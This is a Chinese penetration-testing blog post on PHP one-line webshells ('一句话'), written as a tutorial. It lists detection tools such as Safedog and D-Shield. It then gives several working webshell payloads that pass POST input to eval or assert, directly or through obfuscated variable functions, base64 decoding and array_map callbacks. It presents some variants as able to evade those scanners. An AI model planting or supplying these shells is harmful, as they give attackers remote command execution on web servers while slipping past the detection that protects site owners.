zoukankan      html  css  js  c++  java
  • 渗透测试---webshell与上传漏洞~webshell与一句话变形

    一句话检测工具:

    • 安全狗
    • Waf
    • D盾

    构造一句话经典函数eval和assert:

    Eval

    函数中参数是字符。

    <?php eval($_POST['zjj']);?>

    Assert

    函数中参数是表达式或函数。

    <?php assert($_POST['zjj']);?>

    <?php $_POST['a']($_POST['b']);?>//输入?a=assert执行命令

    <?php

               $a = substr_replace("assexx","rt",4);

               $a($_POST['x']);

    ?>

    <?php

               $a = base64_decode($_GET['id']);

               $a($_POST['x']);

    ?>//输入?id=YXNzZXJ0

    借助回调函数实现一句话:

    <?php

              array_map(assert,array($_POST['x']));

    ?>

    常用回调函数:

    以上方法及使用回调函数均可被查杀工具查杀。

    以下方法均可逃过查杀工具查杀。

    绕过回调函数检测:定义函数

    <?php

              function test($a,$b){

                array_map($a,$b);

                }

               test(assert,array($_POST['x']));

    ?>

    特殊干扰逃过检测:

    <?php

              $a = $_POST['a'];

              $b = " ";

              eval($b.=$a);

    ?>

    利用数组执行绕过检测:

    <?php

              $b = substr_replace("assexx","rt",4);

              $a = array($arrayName = array('a' = >

              $b($_POST['q'])));

    ?>

  • 相关阅读:
    hdu 1176 免费馅饼
    算法竞赛入门经典训练指南-做题详细记录(更新中)
    poj-3250 Bad Hair Day
    poj-2823 Sliding Window
    2019.7.15-7.20暑假集训总结
    hdu 1754 I hate it
    poj 1611 The Suspects
    hdu 3038 How Many Answers Are Wrong
    hdu 1213 How Many Tables
    POJ 1182 食物链
  • 原文地址:https://www.cnblogs.com/123456ZJJ/p/12859489.html
Copyright © 2011-2022 走看看